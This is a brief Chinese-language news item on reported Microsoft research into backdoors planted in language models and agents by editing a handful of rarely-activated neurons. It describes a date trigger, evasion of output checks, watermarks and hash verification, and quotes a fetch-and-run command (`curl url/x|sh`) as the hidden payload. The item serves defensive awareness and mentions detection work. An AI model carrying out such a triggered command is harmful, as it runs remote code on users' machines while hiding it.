微软证实修改不足10个神经元即可植入AI后门操控智能体

微软研究院最新研究证实，攻击者可在不重新训练、不依赖训练数据的前提下，仅通过修改大型语言模型或AI智能体中3至9个极少激活神经元的权重（平均调整幅度小于0.001），植入高度隐蔽的功能型后门。该后门在标准测试中性能下降不超过0.2%，且仅在极窄触发条件（如输入‘2027-01-01’）下激活，诱导模型执行`curl url/x|sh`等高危系统命令，而输出仍伪装为正常结果。研究揭示此类‘权重空间编程’攻击利用Transformer架构的稀疏激活特性，定位到长期未被梯度更新修正的‘沉睡神经元’作为攻击入口，具备零训练成本、高隐蔽性与跨模型可移植性三大特征。在AI Agent具备工具调用能力的场景下风险尤为突出，例如响应‘列出当前目录’时实际执行远程代码。该威胁绕过传统输入输出异常检测、模型水印及参数哈希校验，且开源模型分发链条存在供应链风险。目前行业正探索神经元激活监控、压力测试及神经元级认证等防御手段，微软已公开论文与检测工具，并呼吁共建神经元级威胁情报机制。